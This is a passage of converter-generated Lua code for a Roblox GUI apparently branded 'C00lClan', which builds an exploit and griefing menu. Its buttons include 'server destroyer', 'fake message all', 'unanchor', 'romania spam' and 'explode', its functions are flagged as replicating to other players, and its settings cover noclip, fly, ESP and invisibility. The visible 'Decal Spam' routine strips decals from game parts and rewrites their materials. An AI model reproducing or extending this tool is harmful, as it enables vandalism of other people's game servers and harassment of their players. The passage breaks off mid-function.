G2L["18"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["18"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["18"]["BackgroundTransparency"] = 0.2;
G2L["18"]["Size"] = UDim2.new(0, 115, 0, 33);
G2L["18"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["18"]["Text"] = [[theme music]];
G2L["18"]["Position"] = UDim2.new(0.07155, 0, 0.08425, 0);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
G2L["19"] = Instance.new("LocalScript", G2L["18"]);
-- StarterGui.ScreenGui.Frame.TextButton
G2L["1a"] = Instance.new("TextButton", G2L["2"]);
G2L["1a"]["BorderSizePixel"] = 0;
G2L["1a"]["TextSize"] = 14;
G2L["1a"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1a"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1a"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["1a"]["BackgroundTransparency"] = 0.2;
G2L["1a"]["Size"] = UDim2.new(0, 115, 0, 33);
G2L["1a"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1a"]["Text"] = [[romania spam]];
G2L["1a"]["Position"] = UDim2.new(0.3736, 0, 0.08924, 0);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
G2L["1b"] = Instance.new("LocalScript", G2L["1a"]);
-- StarterGui.ScreenGui.Frame.TextButton
G2L["1c"] = Instance.new("TextButton", G2L["2"]);
G2L["1c"]["BorderSizePixel"] = 0;
G2L["1c"]["TextSize"] = 14;
G2L["1c"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1c"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1c"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["1c"]["BackgroundTransparency"] = 0.2;
G2L["1c"]["Size"] = UDim2.new(0, 115, 0, 33);
G2L["1c"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1c"]["Text"] = [[T7B3RS93 sound]];
G2L["1c"]["Position"] = UDim2.new(0.69181, 0, 0.08827, 0);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
G2L["1d"] = Instance.new("LocalScript", G2L["1c"]);
-- StarterGui.ScreenGui.Frame.close
G2L["1e"] = Instance.new("TextButton", G2L["2"]);
G2L["1e"]["TextWrapped"] = true;
G2L["1e"]["BorderSizePixel"] = 0;
G2L["1e"]["TextSize"] = 14;
G2L["1e"]["TextScaled"] = true;
G2L["1e"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1e"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1e"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["1e"]["BackgroundTransparency"] = 0.2;
G2L["1e"]["Size"] = UDim2.new(0, 384, 0, 25);
G2L["1e"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1e"]["Text"] = [[close]];
G2L["1e"]["Name"] = [[close]];
G2L["1e"]["Position"] = UDim2.new(0.08555, 0, 0.91786, 0);
-- StarterGui.ScreenGui.Frame.close.LocalScript
G2L["1f"] = Instance.new("LocalScript", G2L["1e"]);
-- StarterGui.ScreenGui.Frame.ImageLabel
G2L["20"] = Instance.new("ImageLabel", G2L["2"]);
G2L["20"]["BorderSizePixel"] = 0;
G2L["20"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
-- [ERROR] cannot convert ImageContent, please report to "https://github.com/uniquadev/GuiToLuaConverter/issues"
G2L["20"]["Image"] = [[rbxassetid://121071746877032]];
G2L["20"]["Size"] = UDim2.new(0, 187, 0, 123);
G2L["20"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["20"]["BackgroundTransparency"] = 1;
G2L["20"]["Position"] = UDim2.new(0.50846, 0, -0.26555, 0);
-- StarterGui.ScreenGui.Frame.TextButton
G2L["21"] = Instance.new("TextButton", G2L["2"]);
G2L["21"]["BorderSizePixel"] = 0;
G2L["21"]["TextSize"] = 14;
G2L["21"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["21"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["21"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["21"]["BackgroundTransparency"] = 0.2;
G2L["21"]["Size"] = UDim2.new(0, 115, 0, 33);
G2L["21"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["21"]["Text"] = [[teams]];
G2L["21"]["Position"] = UDim2.new(0.08073, 0, 0.50389, 0);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
G2L["22"] = Instance.new("LocalScript", G2L["21"]);
-- StarterGui.ScreenGui.Frame.TextButton
G2L["23"] = Instance.new("TextButton", G2L["2"]);
G2L["23"]["BorderSizePixel"] = 0;
G2L["23"]["TextSize"] = 14;
G2L["23"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["23"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["23"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["23"]["BackgroundTransparency"] = 0.2;
G2L["23"]["Size"] = UDim2.new(0, 115, 0, 33);
G2L["23"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["23"]["Text"] = [[ball rain]];
G2L["23"]["Position"] = UDim2.new(0.3782, 0, 0.50305, 0);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
G2L["24"] = Instance.new("LocalScript", G2L["23"]);
-- StarterGui.ScreenGui.Frame.TextButton
G2L["25"] = Instance.new("TextButton", G2L["2"]);
G2L["25"]["BorderSizePixel"] = 0;
G2L["25"]["TextSize"] = 14;
G2L["25"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["25"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["25"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["25"]["BackgroundTransparency"] = 0.2;
G2L["25"]["Size"] = UDim2.new(0, 115, 0, 33);
G2L["25"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["25"]["Text"] = [[message]];
G2L["25"]["Position"] = UDim2.new(0.69301, 0, 0.50229, 0);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
G2L["26"] = Instance.new("LocalScript", G2L["25"]);
-- StarterGui.ScreenGui.Frame.TextButton
G2L["27"] = Instance.new("TextButton", G2L["2"]);
G2L["27"]["BorderSizePixel"] = 0;
G2L["27"]["TextSize"] = 14;
G2L["27"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["27"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["27"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["27"]["BackgroundTransparency"] = 0.2;
G2L["27"]["Size"] = UDim2.new(0, 115, 0, 33);
G2L["27"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["27"]["Text"] = [[server destroyer]];
G2L["27"]["Position"] = UDim2.new(0.08485, 0, 0.6016, 0);
-- StarterGui.ScreenGui.Frame.TextButton.Script
G2L["28"] = Instance.new("Script", G2L["27"]);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
G2L["29"] = Instance.new("LocalScript", G2L["27"]);
-- StarterGui.ScreenGui.Frame.TextButton.RemoteEvent
G2L["2a"] = Instance.new("RemoteEvent", G2L["27"]);
-- StarterGui.ScreenGui.Frame.TextButton
G2L["2b"] = Instance.new("TextButton", G2L["2"]);
G2L["2b"]["BorderSizePixel"] = 0;
G2L["2b"]["TextSize"] = 14;
G2L["2b"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2b"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2b"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["2b"]["BackgroundTransparency"] = 0.2;
G2L["2b"]["Size"] = UDim2.new(0, 115, 0, 33);
G2L["2b"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2b"]["Text"] = [[fake message all]];
G2L["2b"]["Position"] = UDim2.new(0.37215, 0, 0.6034, 0);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
G2L["2c"] = Instance.new("LocalScript", G2L["2b"]);
-- StarterGui.ScreenGui.Frame.TextButton
G2L["2d"] = Instance.new("TextButton", G2L["2"]);
G2L["2d"]["BorderSizePixel"] = 0;
G2L["2d"]["TextSize"] = 14;
G2L["2d"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2d"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2d"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["2d"]["BackgroundTransparency"] = 0.2;
G2L["2d"]["Size"] = UDim2.new(0, 115, 0, 33);
G2L["2d"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2d"]["Text"] = [[unanchor]];
G2L["2d"]["Position"] = UDim2.new(0.68878, 0, 0.60491, 0);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
G2L["2e"] = Instance.new("LocalScript", G2L["2d"]);
-- StarterGui.ScreenGui.Frame.TextButton
G2L["2f"] = Instance.new("TextButton", G2L["2"]);
G2L["2f"]["BorderSizePixel"] = 0;
G2L["2f"]["TextSize"] = 14;
G2L["2f"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2f"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2f"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["2f"]["BackgroundTransparency"] = 0.2;
G2L["2f"]["Size"] = UDim2.new(0, 115, 0, 33);
G2L["2f"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2f"]["Text"] = [[rainbow all]];
G2L["2f"]["Position"] = UDim2.new(0.08557, 0, 0.72121, 0);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
G2L["30"] = Instance.new("LocalScript", G2L["2f"]);
-- StarterGui.ScreenGui.Frame.TextButton
G2L["31"] = Instance.new("TextButton", G2L["2"]);
G2L["31"]["BorderSizePixel"] = 0;
G2L["31"]["TextSize"] = 14;
G2L["31"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["31"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["31"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["31"]["BackgroundTransparency"] = 0.2;
G2L["31"]["Size"] = UDim2.new(0, 115, 0, 33);
G2L["31"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["31"]["Text"] = [[raining fire]];
G2L["31"]["Position"] = UDim2.new(0.37329, 0, 0.71836, 0);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
G2L["32"] = Instance.new("LocalScript", G2L["31"]);
-- StarterGui.ScreenGui.Frame.TextButton
G2L["33"] = Instance.new("TextButton", G2L["2"]);
G2L["33"]["BorderSizePixel"] = 0;
G2L["33"]["TextSize"] = 14;
G2L["33"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["33"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["33"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["33"]["BackgroundTransparency"] = 0.2;
G2L["33"]["Size"] = UDim2.new(0, 115, 0, 33);
G2L["33"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["33"]["Text"] = [[disco]];
G2L["33"]["Position"] = UDim2.new(0.69005, 0, 0.71769, 0);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
G2L["34"] = Instance.new("LocalScript", G2L["33"]);
-- StarterGui.ScreenGui.Frame.TextButton
G2L["35"] = Instance.new("TextButton", G2L["2"]);
G2L["35"]["BorderSizePixel"] = 0;
G2L["35"]["TextSize"] = 14;
G2L["35"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["35"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["35"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["35"]["BackgroundTransparency"] = 0.2;
G2L["35"]["Size"] = UDim2.new(0, 115, 0, 33);
G2L["35"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["35"]["Text"] = [[guns]];
G2L["35"]["Position"] = UDim2.new(0.09018, 0, 0.83746, 0);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
G2L["36"] = Instance.new("LocalScript", G2L["35"]);
-- StarterGui.ScreenGui.Frame.TextButton.Script
G2L["37"] = Instance.new("Script", G2L["35"]);
-- StarterGui.ScreenGui.Frame.TextButton.RemoteEvent
G2L["38"] = Instance.new("RemoteEvent", G2L["35"]);
-- StarterGui.ScreenGui.Frame.TextButton
G2L["39"] = Instance.new("TextButton", G2L["2"]);
G2L["39"]["BorderSizePixel"] = 0;
G2L["39"]["TextSize"] = 14;
G2L["39"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["39"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["39"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["39"]["BackgroundTransparency"] = 0.2;
G2L["39"]["Size"] = UDim2.new(0, 115, 0, 33);
G2L["39"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["39"]["Text"] = [[explode]];
G2L["39"]["Position"] = UDim2.new(0.37325, 0, 0.83105, 0);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
G2L["3a"] = Instance.new("LocalScript", G2L["39"]);
-- StarterGui.ScreenGui.Frame.TextButton
G2L["3b"] = Instance.new("TextButton", G2L["2"]);
G2L["3b"]["BorderSizePixel"] = 0;
G2L["3b"]["TextSize"] = 14;
G2L["3b"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["3b"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["3b"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["3b"]["BackgroundTransparency"] = 0.2;
G2L["3b"]["Size"] = UDim2.new(0, 115, 0, 33);
G2L["3b"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["3b"]["Text"] = [[set walkspeed]];
G2L["3b"]["Position"] = UDim2.new(0.68564, 0, 0.83108, 0);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
G2L["3c"] = Instance.new("LocalScript", G2L["3b"]);
-- StarterGui.ScreenGui.Frame.LocalScript
G2L["3d"] = Instance.new("LocalScript", G2L["2"]);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
local function C_7()
local script = G2L["7"];
script.Parent.MouseButton1Click:Connect(function()
--Services
local Players = game:GetService("Players")
local Player = Players.LocalPlayer
local PlayerGui = Player:WaitForChild("PlayerGui")
local UserInputService = game:GetService("UserInputService")
local RunService = game:GetService("RunService")
local PhysicsService = game:GetService("PhysicsService")
local Character = Player.Character or Player.CharacterAdded:Wait()
local Humanoid = Character:WaitForChild("Humanoid")
local HRP = Character:WaitForChild("HumanoidRootPart")
local Mouse = Player:GetMouse()
local CollectionService = game:GetService("CollectionService")
local RunService = game:GetService("RunService")
local TeleportService = game:GetService("TeleportService")
local HttpService = game:GetService("HttpService")
local TweenService = game:GetService("TweenService")
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local MarketplaceService = game:GetService("MarketplaceService")
local StarterGui = game:GetService("StarterGui")
local Debris = game:GetService("Debris")
local Lighting = game:GetService("Lighting")
local SoundService = game:GetService("SoundService")
local player = Player
local PlaceId = game.PlaceId
local JobId = game.JobId
--settings
local infjump = false
local invisRunning = false
local noclipOn = false
local noclipConn
local hoverHeight
local bindFrame, bindConn, waitingBindFunction
local customBinds = {}
local infJumpEnabled = false
local infJumpConnection = nil
local espOn = false
local spinOn = false
local spinBAV, lockBP
local savedCFrame
local invisRunning = false
local InvisibleCharacter = nil
local OriginalCharacter = nil
local voidConn = nil
local flyingEnabled = false
local invisRunning = false
local flyBG, flyBV, flyConn
local ray = workspace.CurrentCamera:ScreenPointToRay(Mouse.X, Mouse.Y)
local hit, pos = workspace:FindPartOnRay(ray, Character)
--GUI settings
local GUI_WIDTH = 400
local GUI_HEIGHT = 320
local TITLE_HEIGHT = 30
local NAV_HEIGHT = 30
local FOOTER_HEIGHT = 30
local GRID_PADDING = 4
local GRID_COLUMNS = 4
math.randomseed(os.time())
local character_set = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
local string_sub = string.sub
local math_random = math.random
local table_concat = table.concat
local character_set_amount = #character_set
local number_one = 1
local default_length = 10
local function generate_string(length)
local random_string = {}
for int = number_one, length or default_length do
local random_number = math_random(number_one, character_set_amount)
local character = string_sub(character_set, random_number, random_number)
random_string[#random_string + number_one] = character
end
return table_concat(random_string)
end
-- Function manager with descriptions
local FunctionManager = {
CategorizedFunctions = { All = {} },
Categories = { "All" },
CurrentCategoryIndex= 1,
Descriptions = {},
ISFE = {},
OnFunctionAdded = Instance.new("BindableEvent"),
}
function FunctionManager:register(name, callback, category, description, FE)
category = category or "General"
if not self.CategorizedFunctions[category] then
self.CategorizedFunctions[category] = {}
table.insert(self.Categories, category)
end
self.CategorizedFunctions[category][name] = callback
self.CategorizedFunctions.All[name] = callback
self.Descriptions[name] = description or ""
self.ISFE[name] = FE or "yes"
if description == "NOT FE" then
self.ISFE[name] = "no"
end
self.OnFunctionAdded:Fire(category, name, callback)
self.OnFunctionAdded:Fire("All", name, callback)
end
function FunctionManager:getCurrentCategory()
return self.Categories[self.CurrentCategoryIndex]
end
function FunctionManager:cycleCategory()
self.CurrentCategoryIndex = self.CurrentCategoryIndex % #self.Categories + 1
return self:getCurrentCategory()
end
local screenGui = Instance.new("ScreenGui")
screenGui.Name = generate_string(math_random(1, 10))
local die = screenGui.Name
screenGui.ResetOnSpawn= false
screenGui.Parent = PlayerGui
local notificationContainer = Instance.new("Frame")
notificationContainer.Name = "NotificationContainer"
notificationContainer.Size = UDim2.new(1, 0, 1, 0)
notificationContainer.Position = UDim2.new(0, 0, 0, 0)
notificationContainer.BackgroundTransparency = 1
notificationContainer.ZIndex = 100
notificationContainer.Parent = screenGui
local function Notify(text, title, duration)
duration = duration or 4
local frame = Instance.new("Frame")
frame.AnchorPoint = Vector2.new(1, 1)
frame.Size = UDim2.new(0, 300, 0, 70)
frame.Position = UDim2.new(1, 320, 1, -10)
frame.BackgroundColor3 = Color3.fromRGB(40, 0, 0)
frame.BackgroundTransparency = 0
frame.BorderSizePixel = 0
frame.ZIndex = 200
frame.Parent = notificationContainer
local titleLabel = Instance.new("TextLabel")
titleLabel.BackgroundTransparency = 1
titleLabel.Size = UDim2.new(1, -10, 0, 24)
titleLabel.Position = UDim2.new(0, 5, 0, 4)
titleLabel.Font = Enum.Font.SourceSansBold
titleLabel.Text = title or "Notice"
titleLabel.TextColor3 = Color3.new(1, 1, 1)
titleLabel.TextSize = 18
titleLabel.TextXAlignment = Enum.TextXAlignment.Left
titleLabel.ZIndex = 201
titleLabel.Parent = frame
local bodyLabel = Instance.new("TextLabel")
bodyLabel.BackgroundTransparency = 1
bodyLabel.Size = UDim2.new(1, -10, 1, -30)
bodyLabel.Position = UDim2.new(0, 5, 0, 28)
bodyLabel.Font = Enum.Font.SourceSans
bodyLabel.Text = text or ""
bodyLabel.TextColor3 = Color3.new(1, 1, 1)
bodyLabel.TextSize = 14
bodyLabel.TextWrapped = true
bodyLabel.TextXAlignment = Enum.TextXAlignment.Left
bodyLabel.ZIndex = 201
bodyLabel.Parent = frame
task.defer(function()
local slideIn = TweenService:Create(frame, TweenInfo.new(0.3, Enum.EasingStyle.Quad, Enum.EasingDirection.Out), {
Position = UDim2.new(1, -10, 1, -10)
})
slideIn:Play()
end)
task.delay(duration, function()
local fadeOut = TweenService:Create(frame, TweenInfo.new(0.3), {
BackgroundTransparency = 1,
Position = UDim2.new(1, 320, 1, -10)
})
local titleFade = TweenService:Create(titleLabel, TweenInfo.new(0.3), {TextTransparency = 1})
local bodyFade = TweenService:Create(bodyLabel, TweenInfo.new(0.3), {TextTransparency = 1})
fadeOut:Play()
titleFade:Play()
bodyFade:Play()
fadeOut.Completed:Wait()
frame:Destroy()
end)
end
local notificationLayout = Instance.new("UIListLayout")
notificationLayout.SortOrder = Enum.SortOrder.LayoutOrder
notificationLayout.Padding = UDim.new(0, 6)
notificationLayout.HorizontalAlignment = Enum.HorizontalAlignment.Right
notificationLayout.VerticalAlignment = Enum.VerticalAlignment.Bottom
notificationLayout.Parent = notificationContainer
Notify("Welcome to C00lClan!", "Have fun!", 3)
-- Main frame
local mainFrame = Instance.new("Frame")
mainFrame.Name = generate_string(math_random(1, 10))
mainFrame.Size = UDim2.new(0, GUI_WIDTH, 0, GUI_HEIGHT)
mainFrame.Position = UDim2.new(0.5, -GUI_WIDTH/2, 0.5, -GUI_HEIGHT/2)
mainFrame.BackgroundColor3= Color3.fromRGB(25, 5, 5)
mainFrame.BorderSizePixel = 0
mainFrame.Parent = screenGui
-- Tooltip
local tooltip = Instance.new("TextLabel", screenGui)
tooltip.Name = generate_string(math_random(1, 10))
tooltip.Size = UDim2.new(0, 200, 0, 40)
tooltip.BackgroundColor3 = Color3.fromRGB(30,30,30)
tooltip.BorderSizePixel = 0
tooltip.Visible = false
tooltip.ZIndex = 100
tooltip.ClipsDescendants = false
tooltip.TextColor3 = Color3.fromRGB(255, 255, 255)
tooltip.TextWrapped = true
-- Title bar
local titleBar = Instance.new("Frame", mainFrame)
titleBar.Name = generate_string(math_random(1, 10))
titleBar.Size = UDim2.new(1,0,0,TITLE_HEIGHT)
titleBar.BackgroundColor3 = Color3.fromRGB(60,0,0)
titleBar.BorderSizePixel = 0
local titleLabel = Instance.new("TextLabel", titleBar)
titleLabel.Size = UDim2.new(1,-60,1,0)
titleLabel.Position = UDim2.new(0,4,0,0)
titleLabel.BackgroundTransparency = 1
titleLabel.Text = "C00LCLAN V1"
titleLabel.Font = Enum.Font.SourceSansBold
titleLabel.TextSize = 18
titleLabel.TextColor3 = Color3.new(1,1,1)
titleLabel.TextXAlignment = Enum.TextXAlignment.Left
titleLabel.Name = generate_string(math_random(1, 10))
local minBtn = Instance.new("TextButton", titleBar)
minBtn.Name = generate_string(math_random(1, 10))
minBtn.Size = UDim2.new(0,30,1,0)
minBtn.Position = UDim2.new(1,-30,0,0)
minBtn.Text = "_"
minBtn.Font = Enum.Font.SourceSansBold
minBtn.TextSize = 18
minBtn.TextColor3 = Color3.new(1,1,1)
minBtn.BackgroundColor3 = Color3.fromRGB(80,10,10)
minBtn.BorderSizePixel = 0
-- Drag logic
local dragging, dragInput, dragStart, startPos = false, nil
local function updateDrag(input)
local delta = input.Position - dragStart
mainFrame.Position = startPos + UDim2.new(0, delta.X, 0, delta.Y)
end
titleBar.InputBegan:Connect(function(i)
if i.UserInputType==Enum.UserInputType.MouseButton1 then
dragging, dragStart, startPos = true, i.Position, mainFrame.Position
i.Changed:Connect(function()
if i.UserInputState==Enum.UserInputState.End then dragging=false end
end)
end
end)
titleBar.InputChanged:Connect(function(i)
if i.UserInputType==Enum.UserInputType.MouseMovement then dragInput=i end
end)
UserInputService.InputChanged:Connect(function(i)
if i==dragInput and dragging then updateDrag(i) end
end)
-- Category nav
local catNav = Instance.new("Frame", mainFrame)
catNav.Name = generate_string(math_random(1, 10))
catNav.Size = UDim2.new(1,0,0,NAV_HEIGHT)
catNav.Position = UDim2.new(0,0,0,TITLE_HEIGHT)
catNav.BackgroundTransparency = 1
local leftCat = Instance.new("TextButton", catNav)
leftCat.Size = UDim2.new(0,50,1,0)
leftCat.Text = "<"
leftCat.Font = Enum.Font.SourceSansBold
leftCat.TextSize = 24
leftCat.TextColor3 = Color3.new(1,1,1)
leftCat.BackgroundColor3 = Color3.fromRGB(100,0,0)
leftCat.BorderSizePixel = 0
leftCat.Name = generate_string(math_random(1, 10))
local catLabel = Instance.new("TextLabel", catNav)
catLabel.Size = UDim2.new(1,-100,1,0)
catLabel.Position = UDim2.new(0,50,0,0)
catLabel.BackgroundTransparency = 1
catLabel.Text = "All"
catLabel.Font = Enum.Font.SourceSansBold
catLabel.TextSize = 18
catLabel.TextColor3 = Color3.new(1,1,1)
catNav.Name = generate_string(math_random(1, 10))
local rightCat = leftCat:Clone()
rightCat.Parent = catNav
rightCat.Position = UDim2.new(1,-50,0,0)
rightCat.Text = ">"
rightCat.Name = generate_string(math_random(1, 10))
-- Grid
local gridFrame = Instance.new("ScrollingFrame", mainFrame)
gridFrame.Name = generate_string(math_random(1, 10))
gridFrame.ClipsDescendants= true
gridFrame.Size = UDim2.new(1,-2*GRID_PADDING,0,GUI_HEIGHT-TITLE_HEIGHT-NAV_HEIGHT-FOOTER_HEIGHT-2*GRID_PADDING)
gridFrame.Position = UDim2.new(0,GRID_PADDING,0,TITLE_HEIGHT+NAV_HEIGHT+GRID_PADDING)
gridFrame.BackgroundTransparency = 1
local gridLayout = Instance.new("UIGridLayout", gridFrame)
gridLayout.Name = generate_string(math_random(1, 10))
gridLayout.CellSize = UDim2.new(0,(GUI_WIDTH-2*GRID_PADDING-(GRID_COLUMNS-1)*GRID_PADDING)/GRID_COLUMNS,0,40)
gridLayout.CellPadding = UDim2.new(0,GRID_PADDING,0,GRID_PADDING)
gridLayout.SortOrder = Enum.SortOrder.LayoutOrder
-- Footer
local footer = Instance.new("Frame", mainFrame)
footer.Name = generate_string(math_random(1, 10))
footer.Size = UDim2.new(1,0,0,FOOTER_HEIGHT)
footer.Position = UDim2.new(0,0,1,-FOOTER_HEIGHT)
footer.BackgroundTransparency = 1
local closeBtn = Instance.new("TextButton", footer)
closeBtn.Size = UDim2.new(1,0,1,0)
closeBtn.Text = "Close"
closeBtn.Font = Enum.Font.SourceSansBold
closeBtn.TextSize = 18
closeBtn.TextColor3 = Color3.new(1,1,1)
closeBtn.BackgroundColor3 = Color3.fromRGB(100,0,0)
closeBtn.BorderSizePixel = 0
closeBtn.Name = generate_string(math_random(1, 10))
-- Minimize toggle
local minimized = false
minBtn.MouseButton1Click:Connect(function()
minimized = not minimized
if minimized == true then
mainFrame.BackgroundTransparency = 1
else
mainFrame.BackgroundTransparency = 0
end
gridFrame.Visible = not minimized
catNav.Visible = not minimized
footer.Visible = not minimized
minBtn.Text = minimized and "◻" or "_"
end)
local function NotifyERROR(text)
Notify(text, "ERROR", 3)
end
-- Build the grid and tooltips
local function updateGrid()
for _, c in ipairs(gridFrame:GetChildren()) do
if c:IsA("TextButton") then c:Destroy() end
end
local cat = FunctionManager:getCurrentCategory()
catLabel.Text = cat
for name, cb in pairs(FunctionManager.CategorizedFunctions[cat]) do
local btn = Instance.new("TextButton")
local isFE = FunctionManager.ISFE[name]
btn.Size = UDim2.new(1,0,0,40)
btn.BackgroundColor3 = Color3.fromRGB(70,10,10)
btn.BorderSizePixel = 0
btn.Font = Enum.Font.SourceSansBold
btn.TextSize = 16
btn.TextColor3 = Color3.new(1,1,1)
btn.Text = name
btn.TextWrapped = true
btn.Parent = gridFrame
btn.Name = generate_string(math_random(1, 10))
if isFE == "no" then
btn.BackgroundColor3 = Color3.fromRGB(72, 100, 87)
end
-- tooltip
local desc = FunctionManager.Descriptions[name]
btn.MouseMoved:Connect(function()
if desc ~= "" and desc ~= nil then
tooltip.Text = desc
tooltip.Position = UDim2.new(0,Mouse.X,0,Mouse.Y - tooltip.Size.Y.Offset - 4)
tooltip.Visible = true
end
end)
btn.MouseLeave:Connect(function() tooltip.Visible = false end)
btn.MouseButton1Click:Connect(function()
pcall(cb)
end)
end
end
local logo = Instance.new("ImageLabel")
logo.Name = generate_string(math_random(1, 10))
logo.BackgroundTransparency = 1
logo.Size = UDim2.new(1, 0, 0, 100)
logo.Position = UDim2.new(0, -50, 0, -100)
logo.Image = "rbxassetid://87486058304609"
logo.ScaleType = Enum.ScaleType.Fit
logo.Parent = mainFrame
-- nav buttons
leftCat.MouseButton1Click:Connect(function()
FunctionManager.CurrentCategoryIndex = (FunctionManager.CurrentCategoryIndex - 2) % #FunctionManager.Categories + 1
updateGrid()
end)
rightCat.MouseButton1Click:Connect(function()
FunctionManager:cycleCategory()
updateGrid()
end)
closeBtn.MouseButton1Click:Connect(function()
screenGui:Destroy()
end)
FunctionManager.OnFunctionAdded.Event:Connect(updateGrid)
-- Initialize
updateGrid()
FunctionManager:register("Decal Spam", function()
local decalID = 8408806737
local function exPro(root)
for _, v in pairs(root:GetChildren()) do
if v:IsA("Decal") and v.Texture ~= "http://www.roblox.com/asset/?id="..decalID then
v.Parent = nil
elseif v:IsA("BasePart") then
v.Material = "Plastic"
v.Transparency = 0
